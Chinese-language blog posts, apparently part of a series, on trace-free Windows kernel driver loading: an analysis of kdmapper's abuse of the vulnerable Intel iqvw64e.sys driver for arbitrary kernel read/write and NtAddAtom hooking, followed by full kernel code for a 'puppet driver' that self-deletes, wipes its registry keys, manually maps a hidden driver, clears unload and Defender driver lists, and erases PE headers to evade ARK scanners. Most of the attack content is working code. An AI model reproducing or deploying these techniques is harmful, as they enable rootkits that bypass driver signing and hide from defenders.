    x64上微软增加了驱动签名机制,我们的傀儡驱动依旧需要签名,虽然泄露的sha1签名目测来看能用到微软倒闭,或者花钱买一张白签名(干坏事会被吊销)但是依然存在问题,如果能让微软的白驱动“帮忙”加载我们的功能驱动就好了。

    kdmapper漏驱利用

    早期驱动开发安全意识不足,导致很多微软或第三方常用驱动存在可利用漏洞,像知名的永恒之蓝漏洞或者罗技驱动利用。

    kdmapper也是如此

    项目:https://github.com/TheCruZ/kdmapper

    无

    kdmapper加载驱动原理与傀儡驱动一致都是内存加载,不过傀儡驱动换成了漏驱自己,自带白签。

    项目功能与漏驱解析

    1.初见漏驱

    漏驱为iqvw64e.sys是英特尔(Intel)网卡设备的一个驱动程序文件,被放在资源中,我们把它扒出来进行分析。

    无

    无

    标准的驱动入口,没有任何壳或者加密,就差给pdb了。

    无

    创建设备链接,记住名字等下要在3环建立连接

    无

    无

    注册了派遣函数对应

    DriverObject->MajorFunction[IRP_MJ_CREATE] = CreateDriver;

    DriverObject->MajorFunction[IRP_MJ_CLOSE] = CloseDriver;

    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = ControlDriver;

    我们利用的函数在三个中

    无

    这里有四个分支,项目中表明了是利用第一个,我们就不挨个分析了

    无

    无

    进去第一个函数,根据上下文这里可以猜测a1是一个结构体指针

    无

    2.利用漏驱拷贝和读写任意地址

    	bool MemCopy(HANDLE device_handle, uint64_t destination, uint64_t source, uint64_t size);
    bool ReadMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size);

    ReadMemory中调用了MemCopy

    bool intel_driver::MemCopy(HANDLE device_handle, uint64_t destination, uint64_t source, uint64_t size) {
    	if (!destination || !source || !size)
    		return 0;
    
    	COPY_MEMORY_BUFFER_INFO copy_memory_buffer = { 0 };
    
    	copy_memory_buffer.case_number = 0x33;
    	copy_memory_buffer.source = source;
    	copy_memory_buffer.destination = destination;
    	copy_memory_buffer.length = size;
    
    	DWORD bytes_returned = 0;
    	return DeviceIoControl(device_handle, ioctl1, &copy_memory_buffer, sizeof(copy_memory_buffer), nullptr, 0, &bytes_returned, nullptr);
    }

    无

    无

    对应漏驱中的0x33我们可以看到就是一个简单的拷贝内存函数,利用此函数将想要读的内容拷贝到缓冲区。(没想到这么一个小小的内存拷贝造成了任意地址读写的漏洞),读和写就是反着来,互换下缓冲区地址。

    同理推出结构体a1+16 是要读的地址,a1+24是缓冲区地址,a1+32是要读的长度

    typedef struct _FILL_MEMORY_BUFFER_INFO
    {
    	uint64_t case_number;
    	uint64_t reserved1;
    	uint32_t value;
    	uint32_t reserved2;
    	uint64_t destination;
    	uint64_t length;
    }FILL_MEMORY_BUFFER_INFO, * PFILL_MEMORY_BUFFER_INFO;

    漏驱中还有其他可以直接调用的内核函数不过和主线无模块加载关系不紧密,本文就不放了

    3.hook函数以调用内核函数

    这里是分析的申请内存函数的调用,其他函数同理

    uint64_t AllocatePool(HANDLE device_handle, nt::POOL_TYPE pool_type, uint64_t size);

    uint64_t intel_driver::AllocatePool(HANDLE device_handle, nt::POOL_TYPE pool_type, uint64_t size) {
    	if (!size)
    		return 0;
    
    	static uint64_t kernel_ExAllocatePool = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "ExAllocatePoolWithTag");
    
    	if (!kernel_ExAllocatePool) {
    		Log(L"[!] Failed to find ExAllocatePool" << std::endl);
    		return 0;
    	}
    
    	uint64_t allocated_pool = 0;
    
    	if (!CallKernelFunction(device_handle, &allocated_pool, kernel_ExAllocatePool, pool_type, size, 'BwtE')) //Changed pool tag since an extremely meme checking diff between allocation size and average for detection....
    		return 0;
    
    	return allocated_pool;
    }

    这里先自写了获取内核导出函数,再进行调用

    uint64_t intel_driver::GetKernelModuleExport(HANDLE device_handle, uint64_t kernel_module_base, const std::string& function_name) {
    	if (!kernel_module_base)
    		return 0;
    
    	IMAGE_DOS_HEADER dos_header = { 0 };
    	IMAGE_NT_HEADERS64 nt_headers = { 0 };
    
    	if (!ReadMemory(device_handle, kernel_module_base, &dos_header, sizeof(dos_header)) || dos_header.e_magic != IMAGE_DOS_SIGNATURE ||
    		!ReadMemory(device_handle, kernel_module_base + dos_header.e_lfanew, &nt_headers, sizeof(nt_headers)) || nt_headers.Signature != IMAGE_NT_SIGNATURE)
    		return 0;
    
    	const auto export_base = nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    	const auto export_base_size = nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
    
    	if (!export_base || !export_base_size)
    		return 0;
    
    	const auto export_data = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(VirtualAlloc(nullptr, export_base_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
    
    	if (!ReadMemory(device_handle, kernel_module_base + export_base, export_data, export_base_size))
    	{
    		VirtualFree(export_data, 0, MEM_RELEASE);
    		return 0;
    	}
    
    	const auto delta = reinterpret_cast<uint64_t>(export_data) - export_base;
    
    	const auto name_table = reinterpret_cast<uint32_t*>(export_data->AddressOfNames + delta);
    	const auto ordinal_table = reinterpret_cast<uint16_t*>(export_data->AddressOfNameOrdinals + delta);
    	const auto function_table = reinterpret_cast<uint32_t*>(export_data->AddressOfFunctions + delta);
    
    	for (auto i = 0u; i < export_data->NumberOfNames; ++i) {
    		const std::string current_function_name = std::string(reinterpret_cast<char*>(name_table[i] + delta));
    
    		if (!_stricmp(current_function_name.c_str(), function_name.c_str())) {
    			const auto function_ordinal = ordinal_table[i];
    			if (function_table[function_ordinal] <= 0x1000) {
    				// Wrong function address?
    				return 0;
    			}
    			const auto function_address = kernel_module_base + function_table[function_ordinal];
    
    			if (function_address >= kernel_module_base + export_base && function_address <= kernel_module_base + export_base + export_base_size) {
    				VirtualFree(export_data, 0, MEM_RELEASE);
    				return 0; // No forwarded exports on 64bit?
    			}
    
    			VirtualFree(export_data, 0, MEM_RELEASE);
    			return function_address;
    		}
    	}
    
    	VirtualFree(export_data, 0, MEM_RELEASE);
    	return 0;
    }

    获取内核导出函数是利用pe解析加上前面的读写漏洞

    	template<typename T, typename ...A>
    	bool CallKernelFunction(HANDLE device_handle, T* out_result, uint64_t kernel_function_address, const A ...arguments) {
    		constexpr auto call_void = std::is_same_v<T, void>;
    
    		//if count of arguments is >4 fail
    		static_assert(sizeof...(A) <= 4, "CallKernelFunction: Too many arguments, CallKernelFunction only can be called with 4 or less arguments");
    
    		if constexpr (!call_void) {
    			if (!out_result)
    				return false;
    		}
    		else {
    			UNREFERENCED_PARAMETER(out_result);
    		}
    
    		if (!kernel_function_address)
    			return false;
    
    		// Setup function call
    		HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    		if (ntdll == 0) {
    			Log(L"[-] Failed to load ntdll.dll" << std::endl); //never should happens
    			return false;
    		}
    
    		const auto NtAddAtom = reinterpret_cast<void*>(GetProcAddress(ntdll, "NtAddAtom"));
    		if (!NtAddAtom)
    		{
    			Log(L"[-] Failed to get export ntdll.NtAddAtom" << std::endl);
    			return false;
    		}
    
    		uint8_t kernel_injected_jmp[] = { 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xe0 };
    		uint8_t original_kernel_function[sizeof(kernel_injected_jmp)];
    		*(uint64_t*)&kernel_injected_jmp[2] = kernel_function_address;
    
    		static uint64_t kernel_NtAddAtom = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "NtAddAtom");
    		if (!kernel_NtAddAtom) {
    			Log(L"[-] Failed to get export ntoskrnl.NtAddAtom" << std::endl);
    			return false;
    		}
    
    		if (!ReadMemory(device_handle, kernel_NtAddAtom, &original_kernel_function, sizeof(kernel_injected_jmp)))
    			return false;
    
    		if (original_kernel_function[0] == kernel_injected_jmp[0] &&
    			original_kernel_function[1] == kernel_injected_jmp[1] &&
    			original_kernel_function[sizeof(kernel_injected_jmp) - 2] == kernel_injected_jmp[sizeof(kernel_injected_jmp) - 2] &&
    			original_kernel_function[sizeof(kernel_injected_jmp) - 1] == kernel_injected_jmp[sizeof(kernel_injected_jmp) - 1]) {
    			Log(L"[-] FAILED!: The code was already hooked!! another instance of kdmapper running?!" << std::endl);
    			return false;
    		}
    
    		// Overwrite the pointer with kernel_function_address
    		if (!WriteToReadOnlyMemory(device_handle, kernel_NtAddAtom, &kernel_injected_jmp, sizeof(kernel_injected_jmp)))
    			return false;
    
    		// Call function
    		if constexpr (!call_void) {
    			using FunctionFn = T(__stdcall*)(A...);
    			const auto Function = reinterpret_cast<FunctionFn>(NtAddAtom);
    
    			*out_result = Function(arguments...);
    		}
    		else {
    			using FunctionFn = void(__stdcall*)(A...);
    			const auto Function = reinterpret_cast<FunctionFn>(NtAddAtom);
    
    			Function(arguments...);
    		}
    
    		// Restore the pointer/jmp
    		return WriteToReadOnlyMemory(device_handle, kernel_NtAddAtom, original_kernel_function, sizeof(kernel_injected_jmp));
    	}

    调用函数是,获取了ntdll.dll中的NtAddAtom函数地址(系统调用)并在内核进行hook

    mov rax, 0x0

    jmp rax

    写入了要执行的函数地址,最后执行再恢复原来的字节码。

    4.漏驱加载流程

    intel_driver::Load 中加载漏驱

    创建链接的名字与IDA中看到的一致

    	HANDLE result = CreateFileW(L"\\\\.\\Nal", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    	if (!intel_driver::ClearPiDDBCacheTable(result)) {
    		Log(L"[-] Failed to ClearPiDDBCacheTable" << std::endl);
    		intel_driver::Unload(result);
    		return INVALID_HANDLE_VALUE;
    	}
    
    	if (!intel_driver::ClearKernelHashBucketList(result)) {
    		Log(L"[-] Failed to ClearKernelHashBucketList" << std::endl);
    		intel_driver::Unload(result);
    		return INVALID_HANDLE_VALUE;
    	}
    
    	if (!intel_driver::ClearMmUnloadedDrivers(result)) {
    		Log(L"[!] Failed to ClearMmUnloadedDrivers" << std::endl);
    		intel_driver::Unload(result);
    		return INVALID_HANDLE_VALUE;
    	}
    
    	if (!intel_driver::ClearWdFilterDriverList(result)) {
    		Log("[!] Failed to ClearWdFilterDriverList" << std::endl);
    		intel_driver::Unload(result);
    		return INVALID_HANDLE_VALUE;
    	}

    这里在清理记录驱动加载和卸载链表中的记录

    kdmapper::MapDriver 函数执行功能驱动的加载,也是模拟pe内存拉伸,不过功能用的漏驱功能。

    intel_driver::Unload 加载完功能驱动立马卸载并清理注册表

    这里有个有意思的点,为了防止文件被恢复,用生成的随机数覆盖了文件

    	std::ofstream file_ofstream(driver_path.c_str(), std::ios_base::out | std::ios_base::binary);
    	int newFileLen = sizeof(intel_driver_resource::driver) + (((long long)rand()*(long long)rand()) % 2000000 + 1000);
    	BYTE* randomData = new BYTE[newFileLen];
    	for (size_t i = 0; i < newFileLen; i++) {
    		randomData[i] = (BYTE)(rand() % 255);
    	}
    	if (!file_ofstream.write((char*)randomData, newFileLen)) {
    		Log(L"[!] Error dumping shit inside the disk" << std::endl);
    	}
    	else {
    		Log(L"[+] Vul driver data destroyed before unlink" << std::endl);
    	}
    	file_ofstream.close();
    	delete[] randomData;
    
    	//unlink the file
    	if (_wremove(driver_path.c_str()) != 0)
    		return false;

    漏驱加载和卸载分别调用如下函数

    	extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING DriverServiceName);
      extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING DriverServiceName);

    5.总结

    1.项目大致如此,篇幅原因很多细节没来得及展示,自行下载项目学习。

    2.如果单单从无签名加载驱动上看,与”上”的技术并无本质区别。但经过分析此项目,你会发现对漏洞利用的巧妙与学习扩展思路。

    低版本系统漏驱加载演示

    无

    无

    6.未来与展望

    无

    无

    在最新的win11 22h2上微软终于把这个万人骑的漏驱签名拉黑(遥遥落后于反作弊和杀软)

    那么该怎么办呢(思考)?

    1.替换成没被拉黑的签名(这样就没意义了与“上”中的傀儡驱动并无差别)

    2.windows签名拉黑在本地,不过加了保护。

    3.发展新的可利用的漏驱动(随着xxxxx安全意识提高,可利用的越来越难找)

    4.自己制造漏驱

    5.各位自己发挥吧,找到了记得开源。

    驱动文件

    1765377030-iqvw64e

  • 无”痕”加载驱动模块之傀儡驱动 (上)

    无”痕”加载驱动模块之傀儡驱动 (上)

    驱动加载与ark遍历原理

    正常通过服务加载的驱动会显示在ark工具的列表里

    CreateServiceA
    OpenSCManagerA
    StartServiceA
    ControlService
    DeleteService

    无

    无

    原理是通过ZwQuerySystemInformation 或者驱动入口参数的_DRIVER_OBJECT结构中的双向循环链表遍历到

    ULONG EnumKernel(PUCHAR buffer)
    {
        size_t count = 0;
    
        NTSTATUS nStatus;
        ULONG retLength;  //缓冲区长度
        PVOID pProcInfo;
        PRTL_PROCESS_MODULE_INFORMATION pProcIndex;
        //调用函数,获取进程信息
        nStatus = ZwQuerySystemInformation(
            SystemModuleInformation,   
            NULL,
            0,
            &retLength  //返回的长度,即为我们需要申请的缓冲区的长度
        );
        if (!retLength)
        {
            DbgPrint("ZwQuerySystemInformation error!\n");
            return nStatus;
        }
        DbgPrint("retLength =  %u\n", retLength);
        //申请空间
        pProcInfo = ExAllocatePool(NonPagedPool, retLength);
        if (!pProcInfo)
        {
            DbgPrint("ExAllocatePool error!\n");
            return STATUS_UNSUCCESSFUL;
        }
        nStatus = ZwQuerySystemInformation(
            SystemModuleInformation,  
            pProcInfo,
            retLength,
            &retLength
        );
        if (NT_SUCCESS(nStatus)/*STATUS_INFO_LENGTH_MISMATCH == nStatus*/)
    
        {
            pProcIndex = ((PRTL_PROCESS_MODULES)pProcInfo)->Modules;
    
    
    
            for (size_t i = 0; i < ((PRTL_PROCESS_MODULES)pProcInfo)->NumberOfModules; i++)
            {
              
    
                    LOG("加载顺序 %d  名字 %s  地址 %p 大小 %p", pProcIndex[i].LoadOrderIndex, pProcIndex[i].FullPathName, pProcIndex[i].ImageBase,pProcIndex[i].ImageSize);
            }
        }
        else
        {
            DbgPrint("error code : %u!!!\n", nStatus);
        }
        ExFreePool(pProcInfo);
    
        // DbgBreakPoint();
        return count;
    }
    typedef struct _DRIVER_OBJECT {
        CSHORT Type;
        CSHORT Size;
        PDEVICE_OBJECT DeviceObject;	// DeviceObject 每个驱动程序会有一个或多个设备对象。其中
    									// 每个设备对象都有一个指针指向下一个驱动对象,最后一个设备对象指向空。此处的DeviceObject
    									// 指向驱动对象的第一个设备对象。通过DeviceObject,就可以遍历驱动对象里的所有
    									// 设备对象。设备对象是由程序员自己创建的,而非操作系统完成,在驱动被卸载的时候,遍历每个
    									// 设备对象,并将其删除
    									
        ULONG Flags;
        PVOID DriverStart;
        ULONG DriverSize;
        PVOID DriverSection;
        PDRIVER_EXTENSION DriverExtension;
    	
        UNICODE_STRING DriverName;		 // 记录的是驱动程序的名字。这里用UNICODE字符串记录,该字符串一般为\Driver\[驱动程序名称]。
    	
        PUNICODE_STRING HardwareDatabase;	// 这里记录的是设备的硬件数据库键名,这里同样用UNICODE字符串记录。该字符一般为
    										// REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM。
    										
        PFAST_IO_DISPATCH FastIoDispatch;	// 文件驱动中用到的派遣函数。
    	
        PDRIVER_INITIALIZE DriverInit;
    	
        PDRIVER_STARTIO DriverStartIo; // 记录StartIO例程的函数地址,用户串行化操作。
    	
        PDRIVER_UNLOAD DriverUnload; // 指定驱动卸载时所用的回调函数地址。
    	
        PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];// MajorFunction域记录的是一个函数指针数组,也就是MajorFunction是
    																// 一个数组,数组中的每个成员记录着一个指针,每一个指针指向的是一个函数。
    																// 这个函数就是处理IRP的派遣函数。
     
    } DRIVER_OBJECT;
    typedef struct _DRIVER_OBJECT *PDRIVER_OBJECT;

    无模块技术介绍

    而恶意驱动模块为了躲避ark的扫描常常会使用无模块加载技术,使其无法通过正常手段查询。

    下面介绍两种常见的无模块加载技术:

    1.傀儡驱动,通过傀儡驱动内存拉伸真正的驱动,并清理傀儡驱动痕迹。

    2.漏驱利用,通过白名单驱动的漏洞利用来加载我们自己的驱动,比较著名的项目为Kdmapper。

    傀儡驱动加载原理

    本文先介绍第一种技术:

    正常我们加载驱动会在DriverEntry里返回STATUS_SUCCESS表示加载成功

    NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING pRegistryPath) {
    
    	pDriverObject->DriverUnload = DriverUnload;
    	DbgPrintEx(77, 0, "你好\r\n");
    
    
    
    
    
    	return STATUS_SUCCESS;
    }

    如果我们返回STATUS_UNSUCCESSFUL,驱动会显示加载失败

    NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING pRegistryPath) {
    
    	pDriverObject->DriverUnload = DriverUnload;
    	DbgPrintEx(77, 0, "你好\r\n");
    
    
    	return STATUS_UNSUCCESSFUL;
    }

    运行驱动,我们发现显示驱动加载失败,但是盲点来了,我们发现夹在在中间的代码已经被执行完毕

    无

    那么我们将入口点返回STATUS_UNSUCCESSFUL的驱动作为傀儡驱动,在DriverEntry和STATUS_UNSUCCESSFUL中间执行清理傀儡驱动加载痕迹和内存拉伸功能驱动的代码即可。

    第一步删除自身驱动文件

    	//删除自身
    	PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)pDriver->DriverSection;
    	DeleteFile(&pLdr->FullDllName);
    
    
      BOOLEAN DeleteFile(PUNICODE_STRING FilePath)
    {
    	NTSTATUS ntstatus = NULL;
    	HANDLE hFile = NULL;
    	OBJECT_ATTRIBUTES obj = { 0 };
    	IO_STATUS_BLOCK IostaBlc = { 0 };
    	PFILE_OBJECT pFileObj = NULL;
    
    	//初始化对象属性
    	InitializeObjectAttributes(&obj, FilePath, OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);
    
    	
    	//打开文件获取句柄
    	ntstatus = NtCreateFile(
    		&hFile,
    		FILE_READ_ACCESS,
    		&obj,
    		&IostaBlc,
    		NULL,
    		FILE_ATTRIBUTE_NORMAL,
    		FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, 
    		FILE_OPEN,
    		FILE_NON_DIRECTORY_FILE,
    		NULL,
    		NULL
    	);
    
    	if (!NT_SUCCESS(ntstatus))
    	{
    		return FALSE;
    	}
    
    	//获取文件内核对象
    	ntstatus = ObReferenceObjectByHandle(
    		hFile,
    		FILE_ANY_ACCESS,
    		*IoFileObjectType,
    		KernelMode,
    		&pFileObj,
    		NULL
    	);
    	
    	if (!NT_SUCCESS(ntstatus) || pFileObj == NULL)
    	{
    
    		return FALSE;
    	}
    
    	
    
    	//强制删除文件
    	pFileObj->DeletePending = 0;
    	pFileObj->DeleteAccess  = 1;
    	//pFileObj->SharedDelete  = 1;
    	pFileObj->SectionObjectPointer->DataSectionObject  = NULL;
    	pFileObj->SectionObjectPointer->ImageSectionObject = NULL;
    	//pFileObj->SectionObjectPointer->SharedCacheMap	   = NULL;
    	MmFlushImageSection(pFileObj->SectionObjectPointer, MmFlushForDelete);
    
    	ntstatus = ZwDeleteFile(&obj);
    	if (pFileObj != NULL)
    	{
    		ObDereferenceObject(pFileObj);
    	}
    	ZwClose(hFile);
    	return NT_SUCCESS(ntstatus) ? TRUE : FALSE;
    }

    第二步删除注册表,要从内层向外层删,不然会留下痕迹

    BOOLEAN DeleteRegEditEntry(PUNICODE_STRING RegPath)
    {
    	HANDLE hKey = NULL;
    	HANDLE hKey1 = NULL;
    	OBJECT_ATTRIBUTES obj = { 0 };
    	OBJECT_ATTRIBUTES obj1 = { 0 };
    	NTSTATUS ntstatus = NULL;
    	PWCHAR szPanth[0x256] = { 0 };
    	UNICODE_STRING uPath = { 0 };
    
    
    	//删除子项
    	RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, RegPath->Buffer, L"DisplayName");
    	RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, RegPath->Buffer, L"ErrorControl");
    	RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, RegPath->Buffer, L"ImagePath");
    	RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, RegPath->Buffer, L"Start");
    	RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, RegPath->Buffer, L"Type");
    	RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, RegPath->Buffer, L"WOW64");
    
    	//寻找内层
    	RtlStringCbPrintfW(szPanth, 0x256, L"%ws\\Enum", RegPath->Buffer);
    	RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, szPanth, L"Count");
    	RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, szPanth, L"INITSTARTFAILED");
    	RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, szPanth, L"NextInstance");
    
    	//删除内层
    	RtlInitUnicodeString(&uPath, szPanth);
    	InitializeObjectAttributes(&obj1, &uPath, OBJ_CASE_INSENSITIVE, NULL, NULL);
    	ntstatus = ZwOpenKey(&hKey1, KEY_ALL_ACCESS, &obj1);
    	if (!NT_SUCCESS(ntstatus))
    	{
    		return FALSE;
    	}
    	ZwDeleteKey(hKey1);
    	ZwClose(hKey1);
    
    	//删除表项
    	InitializeObjectAttributes(&obj, RegPath, OBJ_CASE_INSENSITIVE, NULL, NULL);
    	ntstatus = ZwOpenKey(&hKey, KEY_ALL_ACCESS, &obj);
    	if (!NT_SUCCESS(ntstatus))
    	{
    		return FALSE;
    	}
    	ZwDeleteKey(hKey);
    	ZwClose(hKey);
    
    	return TRUE;
    }

    第三步拉伸功能驱动文件到内存状态

    PUCHAR FileBufferToImageBuffer()
    {
    	//File ->image
    	PUCHAR pBuffer = (PUCHAR)FileData;
    	PUCHAR pImageBuffer = NULL;
    
    
    	//定位结构
    	PIMAGE_DOS_HEADER		pDos = (PIMAGE_DOS_HEADER)pBuffer;
    	PIMAGE_NT_HEADERS		pNth = (PIMAGE_NT_HEADERS)(pBuffer + pDos->e_lfanew);
    	PIMAGE_SECTION_HEADER	pSec =	IMAGE_FIRST_SECTION(pNth);
    
    	//申请内存
    	pImageBuffer = ExAllocatePool(NonPagedPool, pNth->OptionalHeader.SizeOfImage);
    	if (!pImageBuffer)
    	{
    		
    		return NULL;
    	}
    	// 清除内存并拷贝头节
    	memset(pImageBuffer, 0, pNth->OptionalHeader.SizeOfImage);
    	memcpy(pImageBuffer, pBuffer, pNth->OptionalHeader.SizeOfHeaders);
    
    	//拷贝节区
    	for (size_t i = 0; i < pNth->FileHeader.NumberOfSections; i++)
    	{
    		ULONG VirtualAddress = pSec[i].VirtualAddress;
    		ULONG SizeOfRawData = pSec[i].SizeOfRawData;
    		ULONG PointerToRawData = pSec[i].PointerToRawData;
    			if (pSec[i].SizeOfRawData != 0)
    			{
    				memcpy(
    					pImageBuffer + pSec[i].VirtualAddress,
    					pBuffer + pSec[i].PointerToRawData,
    					pSec[i].SizeOfRawData
    				);
    			}
    
    	}
    	return pImageBuffer;
    }

    第四步修复重定位表

    VOID RepairRelocation(PUCHAR pImageBuffer)
    {
    	
    
    	//定位结构
    	PIMAGE_DOS_HEADER		pDos = (PIMAGE_DOS_HEADER)pImageBuffer;
    	//if (pDos->e_magic != IMAGE_DOS_SIGNATURE) return NULL;	// 检查DOS头的有效性
    	PIMAGE_NT_HEADERS		pNth = (PIMAGE_NT_HEADERS)(pImageBuffer + pDos->e_lfanew);
    	 
    	PIMAGE_BASE_RELOCATION  pRel = (PIMAGE_BASE_RELOCATION)(pImageBuffer + pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
    	if (pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress==0)
    	{
    		return ;
    	}
    
    	//遍历重定向
    	while (pRel->VirtualAddress && pRel->SizeOfBlock)
    	{
    		//VirtualAddress
    		//SizeOfBlock
    
    		ULONG_PTR	uRelEntry = (pRel->SizeOfBlock - 8) / 2;
    		PUSHORT		pRelEntry = (PUSHORT)((PUCHAR)pRel + 8);
    
    
    		for (size_t i = 0; i < uRelEntry; i++)
    		{
    			//判断标志 
    			if ((pRelEntry[i] >> 12 ) == IMAGE_REL_BASED_DIR64)
    			{
    				ULONG_PTR uLowOffset = pRelEntry[i] & 0XFFF;
    				ULONG_PTR* uRepairAddr = (ULONG_PTR*)(pImageBuffer + pRel->VirtualAddress + uLowOffset);
    				*uRepairAddr = *uRepairAddr  - pNth->OptionalHeader.ImageBase + pImageBuffer;
    			}
    
    
    		}
    
    
    		pRel = (PIMAGE_BASE_RELOCATION)((PUCHAR)pRel + pRel->SizeOfBlock);
    	}
    }

    第五步修复导入表

    VOID RepairImportData(PUCHAR pImageBuffer)
    {
    	//定位结构
    	PIMAGE_DOS_HEADER			pDos = (PIMAGE_DOS_HEADER)pImageBuffer;
    	PIMAGE_NT_HEADERS			pNth = (PIMAGE_NT_HEADERS)(pImageBuffer + pDos->e_lfanew);
    
    	PIMAGE_IMPORT_DESCRIPTOR		pImp = (PIMAGE_BASE_RELOCATION)(pImageBuffer + pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
    	if (pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress == 0)
    	{
    		return;
    	}
    	//遍历导入
    	while (pImp->FirstThunk && pImp->OriginalFirstThunk)
    	{
    
    		PIMAGE_THUNK_DATA  pIAI = (PIMAGE_THUNK_DATA)(pImageBuffer + pImp->FirstThunk);
    		PIMAGE_THUNK_DATA  pINT = (PIMAGE_THUNK_DATA)(pImageBuffer + pImp->OriginalFirstThunk);
    		PUCHAR DLLName = (PUCHAR)(pImageBuffer + pImp->Name);
    		while (pINT->u1.AddressOfData && pIAI->u1.Function)
    		{
    			NTSTATUS st = NULL;
    			PIMAGE_IMPORT_BY_NAME pName = (PIMAGE_IMPORT_BY_NAME)(pINT->u1.AddressOfData + pImageBuffer);
    			ANSI_STRING aFunName = { 0 };
    			UNICODE_STRING uFunName = { 0 };
    			ULONG_PTR uFunAddr = 0;
    			RtlInitAnsiString(&aFunName, pName->Name);
    
    			if (_stricmp((DLLName),"ntoskrnl.exe") == 0 ||
    				_stricmp((DLLName),"ntkrnlpa.exe") == 0 ||
    				_stricmp((DLLName),"hal.exe") == 0		)
    			{
    
    				st = RtlAnsiStringToUnicodeString(&uFunName, &aFunName, TRUE);
    				if (!NT_SUCCESS(st))return;
    
    				uFunAddr = MmGetSystemRoutineAddress(&uFunName);
    
    				//释放内存
    				RtlFreeUnicodeString(&uFunName);
    
    			}
    			else
    			{
    		
    				PUCHAR pImageBase = 0;
    				pImageBase = GetModuleInfo((DLLName), NULL);
    				if (!pImageBase)
    				{
    					return;
    				}
    
    	
    			
    				uFunAddr = GetExportFunAddrByName(pImageBase, pName->Name);
    			}
    
    			if (!uFunAddr)
    			{
    				return;
    			}
    
    
    			//修改地址
    			pIAI->u1.Function = uFunAddr;
    
    
    
    			//指向下个
    			pIAI++;
    			pINT++;
    		}
    
    		pImp++;
    	}
    }

    第六步修正校验

    VOID RepairCookie(PUCHAR pImageBuffer)
    {
    	//定位结构
    	PIMAGE_DOS_HEADER			pDos = (PIMAGE_DOS_HEADER)pImageBuffer;
    	PIMAGE_NT_HEADERS			pNth = (PIMAGE_NT_HEADERS)(pImageBuffer + pDos->e_lfanew);
    
    	//获取配置
    	PIMAGE_LOAD_CONFIG_DIRECTORY pLod = (PIMAGE_LOAD_CONFIG_DIRECTORY)(pImageBuffer + pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress);
    
    	if (pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress == NULL)
    	{
    		return;
    	}
    
    	*(ULONG_PTR*)pLod->SecurityCookie += 10;
    }

    第七步执行功能驱动入口,并抹除功能驱动pe指纹

    VOID EntryCall(PUCHAR pImageBuffer)
    {
    
    	//定位结构
    	PIMAGE_DOS_HEADER			pDos = (PIMAGE_DOS_HEADER)pImageBuffer;
    	PIMAGE_NT_HEADERS			pNth = (PIMAGE_NT_HEADERS)(pImageBuffer + pDos->e_lfanew);
    
    	//获取入口
    	PDRIVER_INITIALIZE pEntry = (PDRIVER_INITIALIZE)(pImageBuffer + pNth->OptionalHeader.AddressOfEntryPoint);
    	if (pEntry)
    	{
    		NTSTATUS st = 	pEntry(NULL,NULL);
    		if (NT_SUCCESS(st))
    		{
    			
    			memset(pImageBuffer, 0x00, pNth->OptionalHeader.SizeOfHeaders);
    		}
    	}
    
    }

    测试环节

    功能驱动代码

    NTSTATUS DriverEntry(PDRIVER_OBJECT pDriver, PUNICODE_STRING pReg)
    {
        DbgPrintEx(77, 0, "[功能驱动加载成功]\r\n");
    
        return STATUS_SUCCESS;
    }

    转换为二进制藏在傀儡驱动里

    无

    安装傀儡驱动

    无

    无

    发现傀儡驱动加载失败,并清理了自身,功能驱动正确加载。

    ark中无任何加载痕迹

    无

    总结

    傀儡驱动入口返回失败,删除自身->清理注册表->拉伸功能驱动->修复重定位->修复导入表->修复校验->Call入口

    当然这只是无痕驱动的雏形并不是真正的无痕驱动,还有很多痕迹需要清理,只是一个基本思想供大家举一反三。

    例如:云下放功能驱动加密文件不落地,利用网络传输到内存,拉伸时再动态解密。功能驱动使用懒惰导入,去导入表化,清理驱动卸载链表等

  • 隐蔽通讯常见种类介绍

    隐蔽通讯常见种类介绍

    正常通信流程:

    R3->符号链接->设备对象->驱动对象->驱动功能

    驱动通信实质上是设备通信

